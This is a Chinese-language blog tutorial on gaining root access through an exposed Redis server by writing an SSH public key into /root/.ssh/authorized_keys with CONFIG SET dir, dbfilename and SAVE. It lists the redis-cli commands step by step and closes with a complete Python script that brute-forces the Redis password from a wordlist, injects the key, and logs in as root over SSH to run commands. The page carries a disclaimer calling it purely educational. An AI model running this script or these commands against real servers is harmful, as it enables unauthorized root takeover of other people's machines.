Redis RDB提权
本文最后更新于 2024-07-26,文章内容可能已经过时。
通过Redis RDB提权(未授权登录)
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
SSH
什么是SSH?SSH是如何工作的? - 华为 (huawei.com)
客户端登录到服务器
客户端的公钥给服务器;
客户端通过私钥加密信息;
服务器通过客户端给的公钥进行解密,如果能解密成功,就无需密码登录。
Redis RDB提权过程
1. 客户端生成密钥对;
2. 服务器支持ssh;
3. redis支持rdb;
4. redis可以被爆破;
5. 修改rdb的存储目录;
7. 通过redis写入客户端的公钥;
8. 保存;
客户端生成密钥对
进入用户家目录
输入redis-cli.exe -h [要链接到redis服务器的IP] -p 6379
(这里链接不上的话就是redis服务器的防火墙没关或者其他原因)
(在redis服务器中输入:systemctl stop firewalld关闭防火墙后重新链接)
服务器生成密钥对
进入用户家目录 /root
ssh-keygen
ls -a
#会有一个.ssh的文件夹
执行:
关闭AOF
在redis安装目录中的redis.conf中:
将appenonly改为no
appendonly no #默认就是no
设置key并保存
重启redis:
redis-server ./redis.conf
(这里显示redis进程在后台执行)
(链接redis服务器后)
设置公钥:
set mykey “”\n\n\n公钥\n\n\n"
修改存储路径路径:
config set dir /root/.ssh
修改文件名称:
config set dbfilename authorized_keys
保存文件:
save
(之后就可以实现免密码登录redis服务器)
客户端免密登录
ssh -i id_rsa root@192.168.153.138
用python代码实现上述功能实现自动执行:
(要准备提前准备好ssh密码爆破字典和客户端公钥)
# 用python模拟Redis密码爆破后实现Redis的SSH免密登录(root权限)
# 即用python实现Redis提权
import paramiko
import redis
from paramiko.client import AutoAddPolicy
# Redis密码爆破
def burp_redis(ip):
with open("./dict.txt", mode="r", encoding="utf-8") as f:
pass_lst = [item.strip() for item in f.readlines()] # 去除空白字符
for item in pass_lst:
try:
rds = redis.Redis(host=ip, password=item, socket_timeout=5) # 设置超时
rds.ping() # 测试连接
print(f"密码{item}正确")
print(f"成功连接到Redis服务器: {ip}"+'\n')
print(f"开始注入公钥")
inject_pubkey(ip, rds) # 注入公钥
break # 找到正确密码后退出循环
# 抛出密码错误异常
except redis.AuthenticationError:
print(f"密码{item}错误")
# 抛出连接异常
except redis.ConnectionError as e:
print(f"连接Redis服务器失败: {e}")
# 抛出其他异常
except Exception as e:
print(f"发生异常: {e}")
# 注入公钥
def inject_pubkey(ip,rds):
public_key = './public_key.txt'
# 读取公钥文件
with open(public_key,mode="r",encoding="utf-8")as f:
# 将公钥写入Redis,并设置Redis的dir和dbfilename,最后保存,这样就可以实现SSH免密登录
rds.set('zhaohan',f.read())
rds.config_set('dir','/root/.ssh')
rds.config_set('dbfilename','authorized_keys')
rds.save()
# 连接SSH登录redis服务器
ssh_login(ip)
def ssh_login(ip):
private_key_location = "C:/Users/14042/.ssh/id_rsa"
# 这句的意思是告诉paramiko库从指定的文件中读取私钥
private_key = paramiko.RSAKey.from_private_key_file(filename=private_key_location)
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(AutoAddPolicy)
ssh.connect(hostname=ip, username="root", pkey=private_key)
# 执行命令,和传统的执行命令有点不一样,这里的标准输入输出是在内存中的
# stdin的意思是标准输入,stdout的意思是标准输出,stderr的意思是标准错误
#执行ls命令
print("ssh登录成功")
print("开始执行ls命令:")
stdin, stdout, stderr = ssh.exec_command("ls")
# 打印执行结果
# stdout.read() 读取标准输出,是一个二进制数据,所以需要解码,decode()是解码的意思
print(stdout.read().decode())
# 执行whoami命令
print("开始执行whoami命令:")
stdin, stdout, stderr = ssh.exec_command("whoami")
print(stdout.read().decode())
if __name__ == '__main__':
burp_redis("192.168.153.138")
执行结果如下
- 感谢你赐予我前进的力量